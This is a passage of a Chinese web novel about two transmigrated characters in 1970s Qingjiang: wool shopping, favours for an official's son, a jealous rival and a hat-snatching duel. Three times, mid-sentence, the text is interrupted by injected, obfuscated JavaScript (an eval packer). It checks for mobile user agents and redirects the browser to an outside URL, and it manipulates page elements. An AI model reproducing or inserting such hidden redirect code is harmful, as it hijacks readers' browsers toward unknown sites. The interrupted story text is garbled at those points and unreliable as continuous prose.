关百钺左右看了看,见近处没人,这才将他的计划说了出来:“消息已经散出去了,放心,用不了半个月,这俩人就得栽。今晚斌哥组局,我会和苏赖子了结魏雪的事儿,算是撇清关系了。” 章清云歪头看关百钺:“你这招可够毒的。” 关百钺摆手:“那俩人又不是什么好人,不出手则已,一出手,必须要击中目标才行,不然被这俩人逃了,大家都得不了好。” 章清云若有所思,关百钺指着不远处的百货商店道:“陪我去买个毛线?” 章清云不可置信:“大夏天买毛线?” 关百钺点点头,原身父母是搞科研的,工资水平不低。不低到什么水平呢?在这个普遍工资不过百的年代,关父关家康一个人的工资,就近两百,加上关母梁秀英的,两人工资加起来快四百了。关百钺敢断定,整个青江,单工资比他家还富裕的,真不多。 可这对父母呢,常年不在家,那从事的肯定是保密任务。上辈子关百钺也看过报纸,一般这种人,都在大西北。那地方,冬天干冷干冷的,还缺维生素,据说一到冬天,手脚都能裂开。其实毛衣不是最主要的,关键是药品。可他能买到毛衣,还真是对药品没办法。 将猜测说了出来,章清云肃然起敬。对于这代科研人的信仰和坚持,章清云是佩服的,她沉吟片刻,道:“弄不到维生素片的话,不然寄一些干菜过去?你要是有时间,就去下面的大队收些干菜,多寄些过去也是好的。虽然不全面,多少也能补充一些维生素。” “行。”关百钺如今也没正经事儿做,托洪安娜和沈家的福,在科研大院的后勤挂了个职,不去下乡而已,明天就能去收菜,他道,“你会织毛衣吗?放心,不让你白织,一块钱加两张工业券,怎么样?” 章清云翻个白眼儿,举起双手给关百钺看:“你看我像是会的样子吗?” 关百钺笑,女生的手指跟青葱似的,嫩白嫩白的,确实不像是会干活儿的,他说:“行吧,我再找别人。” 两人去了百货商店,关百钺想买四斤毛线,织两件毛衣,父母两人一人一件正好。可这年头买毛线哪儿那么容易。都是限量的,一人只能买半斤,颜色还是随机的,今儿是黑色的,明儿还不知道什么颜色呢。等凑够了四斤,说不得能有八个颜色,你说糟心不糟心? 关百钺咬着牙买了半斤,等出了百货大楼,章清云干脆提议:“你不如去黑市看看,那里说不得有卖棉花的。你多攒些棉花,做个棉衣也是好的。这些毛线也别织毛衣了,织成露手指的手套,伯父伯母都是搞学问的,戴着这样的手套,也不耽误写字。” 关百钺就多看了章清云几眼,这时候就有露指手套了?他也没关注这些,不过从打听的情况看,这丫头以前并不是个活络性子,自从被选为琼花B角,性子变了些,不过也能接受,毕竟小姑娘嘛,还没定性,变成什么样儿也不奇怪,那就再看看。 两人互相怀疑着对方,不远处,高武挡在苗盼儿面前,嘻嘻嘻的笑:“姑娘,芭蕾舞团的吧?我就说怎么看着眼熟呢,我高武啊,不认识了?吃饭没,没吃我请你去吃啊,苏联餐厅,去不去?” 苗盼儿面无表情:“不去,让开。” “别介,姑娘,我不是坏人。蓝可人是我嫂子,我叫高武,高斌他弟,知道了吧?”高武继续嬉皮笑脸,“你看,都是熟人,这么不给面子可不合适。行了,为了不让你以后一想起来这茬儿,就良心不安,干脆陪我去一趟苏联餐厅,我就原谅你了,怎么样?” 说着,高武冲不远处的关百钺挤眼睛,高声道,“这里,百钺哥,就知道你看完演出,肯定带着嫂子在附近转悠。嫂子,你好,我是高武,高斌的弟弟。” 他特诚恳地说:“关哥,嫂子,这位姑娘正要陪我去苏联餐厅呢,怎么样,您二位给面儿,再去吃一趟?” 章清云没看高武,反而望向苗盼儿:“苗盼儿,你去百货商店买东西?” 苗盼儿翻个白眼儿:“不然呢?瞧不起谁呢。” 说着也不理人,径直离开。高武嘿嘿笑了两声,边小跑跟上去,边低声解释:“关哥,不跟你说了哈,有事儿。” 又一个看见漂亮姑娘就忍不住撩骚的,章清云看向关百钺:“高武人怎么样?” 关百钺挠头:“怎么说呢,就......正常男人呗,看见漂亮姑娘就想撩骚几句,家里又不缺吃不缺穿的,能强过百分之九十的家庭吧。苗盼儿呢,你们一个大杂院的?” 章清云点点头,一脸的一言难尽:“对,邻居。她家三个闺女,她是老大,最小的都十四了,父母还在拼儿子呢。” 关百钺明白了,这俩人属于知道了对方的情况后,会互相看不上的类型,那就不需要两人瞎操心。 跳了一上午,章清云累得够呛,买完毛线直接骑车回家了。大杂院,房屋改建工作还在进行。胡同里不是没人嫉妒,可这事儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180838|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不违规,章砚臻人家明说了,是托老家的人帮着找的石子儿和废砖头。这不仅不能得罪,还得巴结着啊,毕竟以后要是他们也想盖房了,说不得就得求过去。 因此周日一整天,三叉树胡同在家的老少爷们儿都来帮忙。人多力量大,只是加盖四间房屋的事儿,章清云回来的时候,两间已经盖得差不多了,估计等晚上就能完工。 吵吵嚷嚷的,章清云也睡不成,干脆躺在床上看书。二零二五年来的,语录肯定没看过,得熟悉起来,别人说起来你要是接不上,或者说错了,那完了,到手的台柱子就得飞。事业已经起步,可不能败在细节上。 不说这边风风火火的盖房事儿,只说另一边关百钺骑车去了趟高校。也是吴军傻,高校的人如今都夹着尾巴做人,直接来打听不就成了,需要求他关百钺吗?不过傻也有傻的好处,白白便宜了关百钺嘛。过了他的手,人情不就落下了? 听说关百钺打听招生政策,招生办主任亲自接待的人,不仅当场拿了纸质文件,还细细讲了招收工农兵大学生的细则条例,十分的尽责。 回到家时,姐姐关盈钺和洪安娜还没回来。关百钺看了看表,四点半,估计是又去哪儿玩了。正想休息会儿呢,憋了三天的吴军上门了。 关百钺笑着将人迎进屋,话说的很客气:“就等着你呢,稍等,我去把相关政策条例拿出来,咱们讨论讨论。” 吴军这三天都盯着关百钺呢,见他跟沈爱军、高斌等人都有接触,听小弟说,今儿还特意去了高校,也以为是在帮他办事儿呢,闻言笑呵呵的:“行,哥,我等着,不急。” 关百钺可不当真,他拿着条例,将今日打听到的招生细则,掰开了揉碎了给吴军讲:“工农兵大学生,首先身份上,就要求必须是工人、农民、军人。小军,你家也是部队大院的,给你安排个军人身份应该不难吧?” 吴军摆摆手:“哥,要是我爸能安排,我还能找你?不瞒你说,今年那名额,老头子给了古美了。” 他咬牙切齿的:“不就是想巴结方家的老爷子?!哼,他不待见我这个儿子,我还不认他这个爹呢。” 关百钺点点头:“那工人呢?方家老爷子毕竟是钢铁厂的副厂长,安排你去做个工人不难吧?只要半年,去工厂当半年工人,最好是司机,我想办法给你安排个功劳,明年再推荐你上大学就容易了。” 吴军不解:“开车我会,不过,哥,功劳可不是那么好立的,你有办法?” 关百钺:“......”这小子脑子怎么就不转弯儿呢,亏他爹是个人精,也不知怎么就生了这么个一根筋的儿子。 司机嘛,还能立什么功劳。大雪天车辆趴窝,到时候他召集几个人去帮着抢救物资,就说是吴军的朋友,给吴军帮忙的,这不就是现成的功劳?再不济,安排几个假抢劫的,事先说好,让吴军出马保住物资什么的,不要太好做。 不过,事儿可以做,话却不能往明了说,关百钺只能道:“办法是有,不过得等你先当上工人再说。这样,吴叔把读大学的名额给了古美,你提出当钢铁厂的司机,方阿姨肯定不会拒绝的。至于功劳的事儿,包在我身上,怎么样?” 吴军没多想,见关百钺说的笃定,起身道:“行,哥,我知道怎么做了。大恩不言谢,有事儿你找我,我肯定不推脱,真的。” 要的就是你这句话,把人送出门,关百钺第一次真心的笑了。 15. 关百钺的烂桃花 盯上吴军,并不是因为吴军有价值,而是吴军背后的人有价值。其实这点儿事,吴军他爸吴峰想不到吗?肯定能,只不过两父子闹矛盾,亲儿子信不过老子,不跟老子交心罢了。 关百钺看上的也不是吴峰,而是吴峰他媳妇方萍。也不是方萍,确切的说,是方萍的父亲。方老爷子是钢铁厂的副厂长,钢材调配、设备更换等事儿都能说上话,关百钺可不就贼上人家了。 当然不可能直接去找老爷子,这不是有吴军嘛,关百钺想着要做的事儿,六点半了,起身准时去高家。高斌组的局得参加呢,苏赖子和魏雪的事儿,是时候有个了解了。 路上,关百钺还想呢,明儿吧,明儿收完干菜,找时间去趟大院图书室,找些书来看。总不能一上来就说会什么什么,任何事儿都得有个过程不是。完全没把苏赖子和小五子放在心上,两个必死之人,已经不值得他费心思了。 另一头呢,大杂院的房间也加盖好了。不止加建了耳房,还特意把房子往高了建,虽说会影响采光,可将来是能扩建成上下两层的,谁也没能说出反对的话。 如此一来,章砚廷家多了两间房,袁家和章砚臻家各多出一间。虽然一间房还不到十平米,但也是独立的房间啊。房间还没晾干,不能立刻入住,架不住大家的热情,这个参观那个参观的,闹到十点多了才消停。要不是明儿上班,估计十二点了也不散。 邵华心里那个高兴啊,一晚上都没睡着,躺在床上咯咯咯的笑。别说老二婚房有了,就是以后老三、老五的婚房都有了,能不高兴嘛。 周一上班,章清云依旧去演出,零失误跳了全场。团长向党慷慨地将大部分补贴给了章清云,什么工业券、粮票、副食品票等,钢铁厂嘛,额外给了一张自行车票,向党也给了章清云,并且让她下午都不用去文工团了,两天后,也就是周四再去上班。 连着跳两天,多累大家都知道。虽然嫉妒,队员们也没说什么。 章清云高兴坏了,两天半呢,怕团长反悔,一解散,立马头也没回地就走了。在家咸鱼躺了两天,期间二堂哥的对象一家来参观房子,许是又要什么东西了吧,大伯母邵华的脸色又难看起来。 据章清云趴在窗户上观察,二堂哥八成是看上这姑娘的皮相了,瓜子脸,大眼睛扑闪扑闪的,长得虽没原身好,也有七八分颜色了,配二堂哥绰绰有余。自来父母没有拧过儿女的,大伯母肯定得妥协。 果然,加了两双皮鞋、两套衣服和一床被褥,章清云又适时送出了两张芭蕾舞剧的票,婚期定了下来。 周三下午,在家休息的章清云听到消息,苏赖子和小五子死了,死在“小卖部”大杂院的公厕,掉进粪坑活活淹死的。 陈静是市区刑警队的,当天晚上回来的时候,脸色就不对了,比纸都白,看见什么都提不起食欲,还不停地干呕,把章砚臻心疼坏了:“青菜总能吃吧?要不含颗糖?”说着就去扒拉家里的糖果匣子。 见了陈静的样子,章清云也歇了打听的心思,总归人死了,警察也没找上门,这就说明仇报了。别管怎么报的,对吧,报了就成。 不过据上辈子章清云阅读过的年代文可知,两人一定是把财宝放在公厕了。如今城市人均住宅面积不超过五平米,这么拥挤的条件下,抢来的宝贝,不可能放在家里。那就只能放在一个能时刻进去查看,又不会被人怀疑的地方。可不就只剩下公厕了。这地方,你什么时候进去都不奇怪。 了结了和原主的因果,周四上班时,章清云一身轻松,训练的时候表情都丰富了,用周文芳的话说,就是脸能跟上动作,是个勉强合格的舞者了。 中午休息时,程紫鹃拉着章清云,一边吃饭,一边说八卦:“可人姐好像和高斌闹矛盾了。你知道不?” 章清云摇头,程紫鹃十分的得意:“还是我知道的多吧?” 她摇头晃脑的,很快低声道:“听说可人姐想尽快结婚,高斌不愿意,他比可人姐小三岁,本来就不定性,肯定是还没玩够呢。可人姐生气了,已经一天没理高斌了。” “可人姐也才二十三吧?怎么这么早就想结婚?” “二十三不早了。”程紫鹃瞪着章清云,那眼神儿,仿佛在看一个怪物,“超过二十二还没对象的,都不好嫁的。我今年十九,都有人介绍对象呢。听说可人姐以前也......” 仿佛意识到说漏了嘴,程紫鹃停顿了下,不过在对上章清云懵懂的双眸时,她鬼使神差地道:“可人姐她妈,都拒绝两个小伙子了,都是可人姐以往的追求者。这个高斌是可人姐妈妈第一个看上的,可惜,谈到结婚,高斌退缩了。” 章清云了然,蓝父蓝母无非是仗着女儿年轻漂亮,想攀高枝罢了,她问:“可人姐是不是有弟弟或者哥哥?” 程紫鹃点点头:“有一个大三岁的哥哥,听说是蓝婶子结婚四五年才生下的,可疼了。今年都二十六了,连个工作都没有,可人姐的工资都被拿去补贴哥哥一家了。” 那就是年代文里的樊胜美了。蓝可人性格有些弱,被父母拿捏并不奇怪。 两人说着闲话,另一边关百钺却遇上了麻烦。事情还要从图书室说起,听到了苏赖子和小五子死亡的消息,关百钺高兴之余,加快了事业进度。 上辈子,受上上辈子打仗和饿肚子的影响,关百钺曾经深度学习过食品科学,自然知道榨油的事儿。穿越以来,每次看到有着高工资,吃油也得扣扣搜搜的关盈钺,关百钺心里就不是滋味儿。青江是大豆产区,提高大豆出油率,改善浸出油技术,是当务之急。 一般情况下,大豆的出油率在百分之十五到百分之二十二之间,而豆油的提取方法,主要可分为压榨法和浸出法。压榨法出油率低,但设备简单,适合小作坊。而浸出法需要溶剂回收系统,设备成本高但出油率高,是日后的主流榨油技术。 一九五五年,华国就在隔壁吉省建了第一座浸出油实验厂。直到一九七二年,浸出油技术才在华国普遍推广。如今是一九七零年,他还能赶上这班末班车,也许可以试着制造国产的浸出油机器及回收系统,这个他在日后的书上看到过,还记得怎么做。 科研大院的图书馆,书还是很多的,关百钺需要做做样子,摆出认真学习的架势,正在图书馆研究榨油方面的资料呢,这不是遇上来这里参观的原身“烂桃花”了嘛。 “关百钺。” 清亮的女声自窗外传来,关百钺抬头,看了半天才想起来,出声的这人叫叶宛如,是原身的高中同学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180839|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不过,叶宛如她爸貌似是运动里起来的吧?还是从大杂院里出来的,怎么会来图书馆? 为了不打扰他人,关百钺只得点点头,指了门口的方向,示意出去说。叶宛如笑着点点头,没想到今日能遇上关百钺。高中毕业后,两人有两年多没见了吧?没想到这人变化还挺大。 叶宛如身边的高个子女生低声问:“宛如,这谁啊?你认识?” 叶宛如嘿嘿一笑,迈步欲走:“保密,今儿我不陪你们了,明儿见。” 顾不得在图书室门口,女伴们一个个叫开了。 “好你个叶宛如,见色忘友啊。” “就是,不就是小白脸儿嘛,你见识过的还少吗?至于这么巴巴凑上去嘛。” 听到最后一个略显嫉妒的声音,叶宛如回头剜了那人一眼,笑嘻嘻地起哄:“我就是再见多识广,也没有你庄大小姐经验丰富啊,姐妹们儿,大家说是不是?” 几个女生哦哦哦的叫,听得关百钺眉头直皱。这不就是魏雪说的“小圈子”,也就是女流氓吗?印象里,叶宛如也不是这种人啊,不然他不会出来见面的。这时候关百钺站在原地,倒有些进退两难了。 不过叶宛如可没给关百钺逃离的机会,她一蹦三跳地来到关百钺面前,歪着头看他,笑着道:“老同学,难得见面,不请我去吃顿饭?” 关百钺心里默默说了句对不起,冷着脸道:“不好吧,我对象会误会的。你找我有什么事儿吗?” “有对象了啊?”叶宛如嘻嘻嘻的笑,歪着头一个劲儿追问,“你对象干啥的?我见过吗?不会是骗我的吧?” 关百钺信誓旦旦:“不是,真有对象,你别打听了,有事儿吗?我还要看书,要是没什么事儿......” “有事儿。”叶宛如赶紧道,“那什么,听说你们科研大院的书特别多,怎么样,给我借几本儿出来呗?我有书单......” 关百钺赶紧摇头:“不行,图书室的书不能拿出大院儿的。你借个阅览证,进来看可以,但不能拿出去。” 叶宛如一伸手,十分的理所当然:“那你的阅览证借我?” 关百钺:“不行,我还要用,你再找别人吧。我......” 高武嬉笑着走过,一把揽过关百钺的肩膀,冲着他挤眉弄眼儿,啧啧两声,道:“关哥,怎么,不介绍介绍?” 关百钺第一次看高武这么顺眼,可算来了个救命的,赶紧的将人撩骚走,他可吃不消这个,于是开口前给高武疯狂使眼色:“高武啊,嗐,你不认识叶宛如吗?跟我和你哥都是育英高中的同学,父亲是市革委会副主任的秘书,是不是,叶宛如?” 叶宛如矜持地点点头,上下打量着高武:“你是高斌的弟弟?” 高武冲关百钺点点头,拍了拍脑袋,微微上前挡住人,嬉皮笑脸道:“瞧我这记性,叶大美人儿嘛,怎么可能不认识。小时候上的人民路幼儿园,是不是?我记得当时玩儿老鹰捉小鸡,宛如姐总是扮老母鸡,护着我们这些小鸡崽儿,这一晃都多少年过去了,光阴似箭啊。怎么样,叶大美人儿,给个机会,请你去苏联餐厅吃一顿,好好聊聊咱们逝去的幼儿园时光?” 说着,双手背在身后,冲关百钺疯狂打手势。 16. 飞帽子一战成名 本来以为中午就算摆脱叶宛如了,谁知傍晚看完书,回到家,门口站着人呢,正是叶宛如和高武,高武一脸的无可奈何,悄悄冲关百钺耸耸肩,表示此女太倔,没忽悠成。 叶宛如直勾勾看向关百钺,歪着头,要笑不笑的:“怎么,老同学,不请我进去坐坐?我是母老虎啊,躲成这样?” 都这么说了,关百钺拒绝的话也说不出口了,只得笑着道:“怎么会,请进。” 他点点高武,意有所指地道:“我这个小老弟啊,是不是下午招待不周?你别见怪,他就这样,对着喜欢的姑娘光顾着高兴了,可能考虑不了那么多,你多担待着些。你俩什么时候确定关系了,请我吃饭,都是好朋友......” 高武挤着眼儿冲关百钺乐,叶宛如斜眼儿:“怎么,这么着急把我俩凑对儿啊,就这么喜欢那个章清云?” 关百钺脸上的笑收了收,低头开门。谁知门被从里面打开,原来关盈钺已经下班回家了,在屋里看见两人也没让进,这是看见弟弟要带人进来,才不得不开门的。 关盈钺笑着道:“小武啊,请进。哟,带女朋友过来了?怎么称呼?” 高武嘿嘿嘿的笑,别提多灿烂了。要么说他爱来关家呢,这姐弟俩太给他面子了。去别人家,都是看在他哥的面子上,只有在关家,他才最自在最有排面儿。他说:“盈钺姐,这是叶宛如,市政大院的。叶宛如,这是盈钺姐,军医院的医生。” 彼此笑着见礼,很快在客厅分宾主坐下。叶宛如喝口茶,一脸的骄矜,声音高高地道:“关百钺,我找你是有正事儿的。如今都在三线建厂,后勤物资调拨需要你这样有学问有计划的人才,你要是有兴趣,我跟我爸说一声,将你的档案调过去......” 关百钺脸色当即沉了下来,看向高武道:“后勤物资调拨是个很锻炼人的差事,即能参与三线工厂建设,又能结实不少人脉。高武,你可以考虑看看。高伯父知道了,也会觉得你出息了的。就是你哥,都得佩服你。” 高武啊了一声,看看叶宛如,又看看关百钺,一时不知道如何回答。 关百钺继续道:“你出身好,面对巨额物资不心动,公平公正地分配下去,就是大功一件。这一步走好了,以后都是坦途。你身体不好,不能当兵,那就去厂子里,或者直接去市政部门,都是不错的选择。你哥呢,最迟明年就得当兵,你们两个一人一个方向,挺好的。” “哦哦哦。”高武总算明白了,冲着关百钺挤眼睛,他就是死缠烂打,也会把叶宛如搞定的。说着,起身拉着叶宛如就走,“不早了,走吧。盈钺姐明儿还要做手术呢,可不能打扰盈钺姐休息。” 叶宛如被高武拉着,还不忘看向关百钺:“关百钺,你考虑一下,我都是为你好。如今大学难上,去市政部门有个正式工作,不比在后勤挂个闲职强,你好好考虑,我都是为了你才这么说的......” 关百钺微笑脸,全程不说话,等两人出了门,砰一声将门关上。 关盈钺剜了弟弟一眼:“就是天下女人都死光了,也不许招惹这个叶宛如!脑子不清楚,生下的孩子都愁人,听见没有!” 关百钺忙保证道:“姐,你放心吧,我心里清楚。本来中午就把人推给高武了,谁知道这小子这么不中用。” 关盈钺哼一声:“高武这小子不像他哥,小心思多,你跟他交往的时候当心些。” 关百钺连连点头,催关盈钺:“姐,明儿不是有手术?赶紧休息吧,我知道怎么办。” 以为这事儿就这么完了,谁知第二日,叶宛如竟带着人,去文工团找章清云了。 中午训练完,章清云和程紫鹃正端着饭盒,朝食堂走呢,被五个姑娘在门口叫住了。为首的正是穿着一身夏季军装的叶宛如。她双手插兜,上上下下打量章清云,抬着下巴道:“你就是章清云?关百钺的女朋友?” 嘿,小太妹啊,章清云来了些兴致,半点儿不怵地回望叶宛如。 程紫鹃家就是市政大院的,自然认识这一行人,她低声道:“说话的叫叶宛如,她爸是革委会副主任的秘书,小圈子,你可别听她的,这人心术不正。” 章清云微微点头,表示知道了,冲着叶宛如道:“你认识我?” 叶宛如哼一声:“我认识关百钺。你家大杂院的吧?告诉你,趁早别缠着关百钺,你给不了他前途,他早晚是我的。就这事儿,听明白了吗?” 章清云都笑了,感情是关百钺的烂桃花啊,她嗯嗯嗯的点头:“行,我肯定不缠着他,可他要是缠着我,我就管不着了。怎么着,搞不定关百钺,来找我的麻烦,是吧?关百钺知道吗,要不要找他来咱们对峙对峙?” “嘿,不就是个芭蕾舞演员嘛,狂什么啊你。告诉你,趁早听宛如姐的话,离开关百钺,不然你家连大杂院都住不了!” “就是,你这样的人我们见得多了,告诉你,高枝儿不是那么好攀的,小心掉下来摔死!” 叶宛如抖着腿儿,翘起一边嘴角,似笑非笑地看着章清云,等手下的人说够了,才举起右手往下压了压,道:“女人之间的事儿,找男人来不太好吧?怎么,不听话?你可想好了,惹恼了我,你可吃不了兜着走!” 程紫鹃听不下去了,当即叉腰,怒目而视:“叶宛如!装什么大尾巴狼呢,清云是我好朋友,你敢动她一根毫毛试试!什么大杂院攀高枝儿,怎么说话呢,清云如今可是文工团的台柱子,你是什么?!” 叶宛如瞥了眼程紫鹃,程父是市政大院的不错,不过官职并不高,叶宛如可不怕,她满不在乎地说:“程紫鹃,今儿可没你的事儿。” 章清云也拉了拉程紫鹃的衣袖,低声道:“没事儿,我能解决。” 说着望向叶宛如,一脸的严肃:“事儿不是这么办的,还出来混的呢,真是,越听越像黑恶势力恐吓人。这样,咱俩单挑,怎么样?文斗还是武斗,你选一个,我奉陪到底。” “清云!”紫鹃拉了拉章清云的衣角,这些小圈子都是混惯了的,文斗武斗可都熟,章清云怎么就上套了呢。要知道,武斗可是要动刀子的! 叶宛如可不给章清云反悔的机会,赶紧说:“伟人说了嘛,要文斗不要武斗,飞帽子,怎么样?” 飞帽子,起源于京城部队大院。五五年授衔时,高级军官配发的将校呢大衣、将校靴和羊剪绒帽子,一时成为了京城的时尚,渐渐辐射到全国。传到青江时,已经是运动时候的事儿了。因着衣物难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185482|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,要是哪个熊孩子敢穿着这么一身出去,没有绝世武功,擎等着半道儿上被扒光吧。 在这个没有约束的时代,顽主们讲究的规矩,其实说白了,无非是强取豪夺、弱肉强食,只不过披上一层玩世不恭的皮罢了。 叶宛如说的飞帽子,就是飞羊剪绒帽子。被对方飞了去,可不能生气,生气就掉份儿了,只能认栽,下次再想办法飞了对方的帽子才行。 当然,如今是夏天,不需要戴羊剪绒帽子,好在夏季军装也是配帽子的,章清云笑:“行啊,那你们可得讲规矩,被我飞了帽子,可不能生气,不能再缠着我,也不能祸及家人,不然可就是没规矩了,要被青江所有顽主唾弃的。” “少废话。”叶宛如示意一名同伴将帽子给章清云,“姐姐我可是道儿上混久了的,还需要你教?怎么着,是你出来还是我们进去?” “我出去吧。” 话音刚落,周文芳匆匆从训练室跑出来,满头大汗的:“清云,别冲动。” 她看向叶宛如一群人,脸上都是怒气:“你们是什么人?来文工团有事儿?告诉你们,章清云是文工团的台柱子,可不是谁都能欺负的。” “阿姨。”叶宛如嬉皮笑脸,“我和章清云闹着玩儿呢,怎么欺负人了,你情我愿的,是不是,章清云?” 章清云冲着周文芳点点头:“教练,没事儿的,我能处理。飞帽子嘛,小事儿。” 见章清云说的笃定,周文芳也没办法,如今小年轻瞎胡闹,她们这些做大人的又不好狠拦着,不然就是不热衷于政治,就是对如今的政策有微词。 章清云笑着走出铁门,文工团的姑娘们都出来了,渐渐围成一个圈儿。章清云站在人群正中间,戴上帽子,望向叶宛如,嘴角微微翘起。她虽然考虑过往身上盖个男人的戳,可那是最后走投无路的办法,能自己搞定,谁要去靠别人? 叶宛如也走到人群中间,微微一笑。还没站定呢,右手迅速地伸出,往章清云的脑门儿上打去。 章清云上辈子可是拳击手,反应是运动员级别的,自然看出了叶宛如的意图,她微微侧身躲过,同时疾风一般伸出右手,在众人都没反应过来的时候,叶宛如头上的帽子掉了下来。只是不等帽子落地,章清云轻轻一个抬腿,将帽子挂在脚尖,又一个高抬腿,三百六十度转了一圈儿,确认大家都看到了,这才伸出手,从脚尖取下帽子。 动作又轻盈又漂亮,看得人目瞪口呆。那腿怎么能伸那个高,那么直...... “好!清云好样儿的。” 程紫鹃拍着手,又蹦又跳。 叶宛如和四个手下皆愣在当场,尤其是叶宛如,不可置信地摸了摸头,帽子掉了?章清云怎么动的手?她都没看清! 章清云转了转手上的帽子,笑眯眯道:“承让了。刚说的话可还算数?” 叶宛如怒极:“自然算数!放心,我们不会找你家人的麻烦,也不会再来找你茬儿,关百钺也让给你,行了吧?帽子给我,老娘不奉陪了。” 说着将帽子从章清云手上夺过来,哼一声:“别得意,关百钺可是个顽主,你就是他的一个玩意儿,想登堂入室?别做梦了!” 说完一挥手:“我们走。” 17. 国营饭店遇可人 章清云“高抬腿飞帽子”的壮举,插了翅膀一样,一个下午就传遍了青江市顽主圈,一战成名。关百钺也才知道,合着叶宛如去找小姑娘的茬儿了。 这可不能当不知道,原主招惹的麻烦,得去填坑啊。 于是下午下班的时候,章清云就见到了等在门口,笑得一脸谄媚的关百钺,他说:“那什么,叶宛如的事儿我可以解释。” 章清云一手推着自行车,一手摆了摆,满不在乎:“不用,不管别人怎么说,咱俩反正不是男女朋友,你不用跟我解释什么。只是我觉得,烂桃花还是要自己解决的,你说呢?” “是,是。”关百钺嗯嗯嗯的点头,解释道,“我今儿早上特意去调查了叶宛如,没想到她去找你了。是我不对,我跟你说下她的情况,你心里也好有个数。” 见章清云没拒绝,关百钺道:“叶宛如的爸爸叫叶成才,是市革委会副主任的秘书,叶宛如妈妈前几年得病没了,她父亲再娶了一个叫温燕的寡妇,两人生了一个儿子,今年五岁。这个温燕呢......” 他犹豫了下,还是道:“名声不是很好,有人说两人结婚前就勾搭在一起了,因为温燕结婚七个月就生了,对外说是早产,但据很多看过孩子的人说,男孩儿像是足月生下的,不像早产的孩子。也有人看见其他男人出入温燕家,那男孩儿,指定不是叶成才的孩子。” 章清云点点头:“行,我知道了。” 关百钺忙道:“别急,我还没说完。温燕是公交车售票员,在单位有独立的宿舍,经常带着孩子不在家,而叶成才呢,晚上也经常不在家。叶宛如家呢,因着晚上常没人,经常有人‘刷夜’,你知道的,她名声不太好。” 章清云睁大眼睛,没想到叶宛如这么奔放呢。刷夜并不是个好词儿,一般男顽主家才留人过夜,留下的也往往是男人,小圈子都很少。叶宛如就敢让人留下来? 她问:“叶宛如她爸不管?” 关百钺摇摇头:“不管。有人说叶成才在外面有人,是是非非的,反正这一家子挺乱的。给你讲这些,也是让你心里有数,叶宛如别看挺嚣张的,其实能调动的资源有限,不用怕她找你和你家人的麻烦。” “好,那......”她看向关百钺,“我走了?” 关百钺挠挠头:“那什么,要不然我请你吃饭赔罪?今儿这事儿都怪我,是我没处理好。” 章清云嗐了一声:“没事儿,我也算是一战成名了,以后有人想找茬也得掂量掂量。行了,我......” 两人说着话呢,苗盼儿推着车从旁边经过,幽幽的道:“章清云,需要我给你捎个信儿回家吗?” 关百钺忙道:“那谢谢了,我叫关百钺,就说我请章清云吃饭,之后会送她回家的,麻烦了。” 苗盼儿点点头,不等章清云开口,骑上车就走。章清云转身瞪关百钺:“你怎么替我决定了?” 关百钺双手合十,央求道:“给个机会吧,我真是诚心诚意来道歉的。你看,粮票和钱带的足足的,走吧,国营饭店,吃完送你回家,怎么样?” 章清云哼一声:“走吧,信儿都稍回去了,不吃白不吃。” 关百钺率先往国营饭店的方向拐,嘴角微微翘起:“这边,来的时候我看了,今儿有牛肉大葱包子,红烧鸡块儿、蒜蓉油麦菜,你都能吃。” 章清云多看了关百钺几眼,她如今是芭蕾舞演员,饮食上有些忌讳,不能吃肥肉,油炸的东西也尽量少吃,没想到关百钺能注意到这点。 两人在窗口的位置坐下,点完菜,关百钺道:“多要了五个包子,正好带回去吃。” “对了,七一汇演是你跳,还是蓝可人上?”关百钺问道。 “目前定的是蓝可人,她还没退居幕后......” “嘘。”关百钺忙低声打断,道,“高斌、蓝可人,还有一个,像是蓝可人的妈妈。” 章清云忙用余光去瞧,好家伙,三个人怎么凑一块儿了。高斌和蓝可人还没到热恋期吧,这就见家长,谈婚论嫁了? 殊不知,三人的气氛一点儿也不好,简直可以用糟糕来形容。蓝母脸上笑眯眯的,说出来的话却一点儿也不客气,她道:“高斌,我家可人跟你谈对象也大半年了吧?” 高斌瞪大眼睛看蓝可人,蓝可人红着脸低下头,不说话。 蓝母笑眯眯的:“怎么,不是半年前你救了我家可人,之后确定的关系?我家可人是个乖孩子,谈对象肯定是要结婚的。高斌啊,你说说你的打算,我们蓝家也好看看你能不能给可人幸福。” 三天了,蓝可人都没搭理高斌,今儿好不容易有人捎信儿过来,说是蓝可人约他在国营饭店见面,高斌兴冲冲的来了,没想到不止见到了蓝可人,还有蓝母。 